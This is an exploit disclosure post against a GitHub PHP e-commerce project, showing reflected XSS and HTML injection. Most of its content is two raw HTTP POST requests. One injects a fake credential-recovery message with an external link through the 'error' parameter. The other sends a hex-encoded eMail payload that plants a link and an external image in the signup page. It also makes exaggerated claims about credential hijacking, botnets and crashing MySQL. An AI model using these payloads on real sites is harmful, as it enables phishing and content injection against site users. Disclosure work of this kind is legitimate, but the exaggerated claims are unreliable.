## Title: Ecommerse-1.0 XSS-Reflected Hijack-credentials - JavaScript Injection ## Author: nu11secur1ty ## Date: 11.23.2022 ## Vendor: https://github.com/winston-dsouza ## Software: https://github.com/winston-dsouza/ecommerce-website ## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/winston-dsouza/ecommerce-website ## Description: The value of the eMail request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The attacker can trick the users of this system, very easy to visit a very dangerous link from anywhere, and then the game will over for these customers. Also, the attacker can create a network from botnet computers by using this vulnerability. ## STATUS: HIGH Vulnerability [+] Exploit00: ```POST POST /ecommerce/index.php?error=If%20you%20lose%20your%20credentials%20information,%20please%20use%20our%20recovery%20webpage%20to%20recover%20your%20account.%20https://pornhub.com HTTP/1.1 Host: pwnedhost.com Accept-Encoding: gzip, deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36 Connection: close Cache-Control: max-age=0 Cookie: PHPSESSID=td6bitb72h0e1nuqa4ft9q8e2f Origin: http://pwnedhost.com Upgrade-Insecure-Requests: 1 Referer: http://pwnedhost.com/ecommerce/index.php Content-Type: application/x-www-form-urlencoded Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="107", "Chromium";v="107" Sec-CH-UA-Platform: Windows Sec-CH-UA-Mobile: ?0 Content-Length: 0 ``` ## Description01: JavaScript can be injected into the application response (a vulnerable app - signup_script.php, no sanitizing submit function). The attacker can crash the MySQL server by sending large bites of POST requests to the MySQL server of this system. ## STATUS: HIGH Vulnerability - CRITICAL ## Real attack: [+] Exploit01: ```POST POST /ecommerce/signup_script.php HTTP/1.1 Host: pwnedhost.com Accept-Encoding: gzip, deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36 Connection: close Cache-Control: max-age=0 Cookie: PHPSESSID=td6bitb72h0e1nuqa4ft9q8e2f Origin: http://pwnedhost.com Upgrade-Insecure-Requests: 1 Referer: http://pwnedhost.com/ecommerce/index.php Content-Type: application/x-www-form-urlencoded Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="107", "Chromium";v="107" Sec-CH-UA-Platform: Windows Sec-CH-UA-Mobile: ?0 Content-Length: 1070 eMail=%3c%61%20%68%72%65%66%3d%22%68%74%74%70%73%3a%2f%2f%70%6f%72%6e%68%75%62%2e%63%6f%6d%2f%22%20%74%61%72%67%65%74%3d%22%5f%62%6c%61%6e%6b%22%20%72%65%6c%3d%22%6e%6f%6f%70%65%6e%65%72%20%6e%6f%66%6f%6c%6c%6f%77%20%75%67%63%22%3e%0a%3c%69%6d%67%20%73%72%63%3d%22%68%74%74%70%73%3a%2f%2f%63%64%6e%35%2d%63%61%70%72%69%6f%66%69%6c%65%73%2e%6e%65%74%64%6e%61%2d%73%73%6c%2e%63%6f%6d%2f%77%70%2d%63%6f%6e%74%65%6e%74%2f%75%70%6c%6f%61%64%73%2f%32%30%31%37%2f%30%37%2f%49%4d%47%5f%30%30%36%38%2e%67%69%66%3f%3f%74%6f%6b%65%6e%3d%47%48%53%41%54%30%41%41%41%41%41%41%42%58%57%47%53%4b%4f%48%37%4d%42%46%4c%45%4b%46%34%4d%36%59%33%59%43%59%59%4b%41%44%54%51%26%72%73%3d%31%22%20%73%74%79%6c%65%3d%22%62%6f%72%64%65%72%3a%31%70%78%20%73%6f%6c%69%64%20%62%6c%61%63%6b%3b%6d%61%78%2d%77%69%64%74%68%3a%31%30%30%25%3b%22%20%61%6c%74%3d%22%50%68%6f%74%6f%20%6f%66%20%42%79%72%6f%6e%20%42%61%79%2c%20%6f%6e%65%20%6f%66%20%41%75%73%74%72%61%6c%69%61%27%73%20%62%65%73%74%20%62%65%61%63%68%65%73%21%22%3e%0a%3c%2f%61%3e&password=s9L%21c7x%21E2&firstName=WoZykRqh&lastName=cqeMPJcJ ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/winston-dsouza/ecommerce-website) ## Proof and Exploit: [href](https://streamable.com/3r4t36) ## Real Exploit: [href](https://streamable.com/n3b5ev) ## Real Exploit - code insert: [href](https://streamable.com/64dmo2) ## Time spent `1:45`